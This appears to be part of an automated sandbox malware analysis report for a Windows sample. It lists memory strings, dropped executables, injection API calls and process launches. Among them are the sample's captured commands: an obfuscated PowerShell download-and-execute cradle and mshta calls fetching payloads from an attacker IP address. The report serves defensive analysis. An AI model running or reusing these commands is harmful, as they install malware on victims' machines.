Source: mshta.exe, 0000000C.00000003.2289380947.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287264466.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290150546.000002AECD0F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/D
Source: mshta.exe, 0000000C.00000002.2308865314.000002A6CABA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290227750.000002A6CABA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/F
Source: mshta.exe, 0000000C.00000003.2299936329.000002AECCF8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/a
Source: mshta.exe, 0000000C.00000003.2289380947.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2296588844.000002AECD0F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2310604898.000002AECD0F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287264466.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290150546.000002AECD0F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/eLMEMP
Source: mshta.exe, 0000000C.00000003.2286360520.000002A6CAB11000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308601542.000002A6CAB14000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308601542.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/ft
Source: mshta.exe, 0000000C.00000003.2298065296.000002AECCF85000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2296225919.000002AECCF83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/http://176.113.115.178/Windows-Update/0
Source: mshta.exe, 0000000C.00000003.2289380947.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287264466.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290150546.000002AECD0F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/l
Source: mshta.exe, 0000000C.00000002.2308865314.000002A6CABA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290227750.000002A6CABA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/n
Source: mshta.exe, 0000000C.00000002.2308438812.000002A6CAAF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/tz
Source: wscript.exe, 00000009.00000002.2255820509.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2253868783.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2254057119.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update0
Source: mshta.exe, 0000000C.00000003.2294382542.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateG
Source: wscript.exe, 00000009.00000003.2254364531.0000022C1EFE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.2256404541.0000022C1EFE9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2309103882.000002A6CAD40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateH
Source: wscript.exe, 00000009.00000003.2252773588.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2252932375.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2252120336.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.2256210413.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateLMEM
Source: mshta.exe, 0000000C.00000002.2310783171.000002AED14F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateQ
Source: mshta.exe, 0000000C.00000003.2294382542.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateU
Source: mshta.exe, 0000000C.00000002.2308438812.000002A6CAAD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateWinsta0
Source: wscript.exe, 00000009.00000002.2256453688.0000022C20C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updateai
Source: mshta.exe, 0000000C.00000002.2309157369.000002A6CAD60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updated.exj
Source: mshta.exe, 0000000C.00000003.2294382542.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updatee
Source: wscript.exe, 00000009.00000002.2255456357.0000022C1EE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updatei%%%%%n%%%g(
Source: mshta.exe, 0000000C.00000002.2308438812.000002A6CAAD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updatemshta
Source: wscript.exe, 00000009.00000003.2252773588.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2252932375.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2252120336.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.2256210413.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updatenr=
Source: mshta.exe, 0000000C.00000002.2308438812.000002A6CAAD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updateq
Source: powershell.exe, 00000007.00000002.2296607052.000001CF7AF40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/ff/3.png
Source: wscript.exe, 00000004.00000003.2188071581.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.2187242940.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000002.2194375546.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.2189720210.000001D049241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.1150
Source: svchost.exe, 0000000E.00000002.2763422288.000002B01D686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000E.00000003.2287325300.000002B01D800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000005.00000002.2240161447.0000015F81A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2276197727.000001CF72A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF642AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2276197727.000001CF72943000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2859313115.0000026810074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026801A70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2859313115.00000268101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.2240161447.0000015F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF628D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2349548172.000001D12D181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000011.00000002.2467005592.000001D145920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: powershell.exe, 00000011.00000002.2467005592.000001D14593D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com
Source: powershell.exe, 00000005.00000002.2240161447.0000015F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF628D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2349548172.000001D12D181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000000E.00000003.2287325300.000002B01D85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.2287325300.000002B01D800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2240161447.0000015F80C31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF63B21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026800C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 0000000C.00000003.2298038675.000002A6CAB82000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308723282.000002A6CAB82000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000005.00000002.2240161447.0000015F81A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2276197727.000001CF72A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF642AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2276197727.000001CF72943000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2859313115.0000026810074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2859313115.00000268101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

PE file contains section with special chars

Source: LB31.exe.15.dr	Static PE information: section name:
Source: LB31.exe.15.dr	Static PE information: section name: .idata
Source: LB31.exe.15.dr	Static PE information: section name:
Source: Mig.exe.26.dr	Static PE information: section name:
Source: Mig.exe.26.dr	Static PE information: section name: .idata
Source: Mig.exe.26.dr	Static PE information: section name:

Potential malicious VBS script found (suspicious strings)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Dropped file: objShell.ShellExecute "cmd.exe", "/c mshta http://176.113.115.178/Windows-Update", , "runas", 0

Jump to dropped file

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\LB31.exe

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\AppData\Roaming\LB31.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update	Jump to behavior

Source: C:\Windows\System32\dialer.exe	Code function: 49_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	49_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165E28C8 NtEnumerateValueKey,NtEnumerateValueKey,	54_2_000002D0165E28C8
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F151253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	62_2_000002D6F151253C
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F151202C NtQuerySystemInformation,StrCmpNIW,	62_2_000002D6F151202C
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B0528C8 NtEnumerateValueKey,NtEnumerateValueKey,	64_2_000001D15B0528C8

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B49E9	0_2_00007FFD340B49E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B206B	0_2_00007FFD340B206B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B48A3	0_2_00007FFD340B48A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B2CEC	0_2_00007FFD340B2CEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B2130	0_2_00007FFD340B2130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B42BB	0_2_00007FFD340B42BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFD340B53CA	0_2_00007FFD340B53CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD340A3CF2	5_2_00007FFD340A3CF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD340A4805	5_2_00007FFD340A4805
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD340A54FA	7_2_00007FFD340A54FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD340A48E0	7_2_00007FFD340A48E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD340A5FE6	7_2_00007FFD340A5FE6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD340C16BF	15_2_00007FFD340C16BF
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCAFC1D0E0	16_2_000001DCAFC1D0E0
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCAFC238A8	16_2_000001DCAFC238A8
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCAFC11F2C	16_2_000001DCAFC11F2C
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCB14E2B2C	16_2_000001DCB14E2B2C
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCB14F44A8	16_2_000001DCB14F44A8
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCB14EDCE0	16_2_000001DCB14EDCE0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD340C84D3	17_2_00007FFD340C84D3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD340C64FB	17_2_00007FFD340C64FB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD340CADF2	17_2_00007FFD340CADF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD340C56AD	17_2_00007FFD340C56AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD340C62F3	17_2_00007FFD340C62F3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD340CBBFB	17_2_00007FFD340CBBFB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD340C5BFA	17_2_00007FFD340C5BFA
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_0000022464431F2C	19_2_0000022464431F2C
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_00000224644438A8	19_2_00000224644438A8
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_000002246443D0E0	19_2_000002246443D0E0
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_0000022464462B2C	19_2_0000022464462B2C
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_00000224644744A8	19_2_00000224644744A8
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_000002246446DCE0	19_2_000002246446DCE0
Source: C:\Windows\System32\dialer.exe	Code function: 49_2_000000014000226C	49_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 49_2_00000001400014D8	49_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 49_2_0000000140002560	49_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D016581F2C	54_2_000002D016581F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165938A8	54_2_000002D0165938A8
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D01658D0E0	54_2_000002D01658D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165E2B2C	54_2_000002D0165E2B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165F44A8	54_2_000002D0165F44A8
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165EDCE0	54_2_000002D0165EDCE0
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F14ED0E0	62_2_000002D6F14ED0E0
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F14F38A8	62_2_000002D6F14F38A8
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F14E1F2C	62_2_000002D6F14E1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F151DCE0	62_2_000002D6F151DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F15244A8	62_2_000002D6F15244A8
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F1512B2C	62_2_000002D6F1512B2C
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FAD0E0	63_2_0000014E41FAD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FB38A8	63_2_0000014E41FB38A8
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FA1F2C	63_2_0000014E41FA1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FDDCE0	63_2_0000014E41FDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FE44A8	63_2_0000014E41FE44A8
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FD2B2C	63_2_0000014E41FD2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B011F2C	64_2_000001D15B011F2C
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B01D0E0	64_2_000001D15B01D0E0
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B0238A8	64_2_000001D15B0238A8
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B052B2C	64_2_000001D15B052B2C
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B05DCE0	64_2_000001D15B05DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B0644A8	64_2_000001D15B0644A8

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Mig\Mig.exe A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\LB31.exe A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D

Source: file.exe, 00000000.00000000.2172199529.0000000000922000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFIL3.exe* vs file.exe
Source: file.exe, 00000000.00000002.2204798720.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.spyw.expl.evad.winEXE@74/28@0/2

Source: C:\Windows\System32\dialer.exe

Code function: 49_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

49_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 49_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

49_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

49_2_000000014000226C

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5292:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
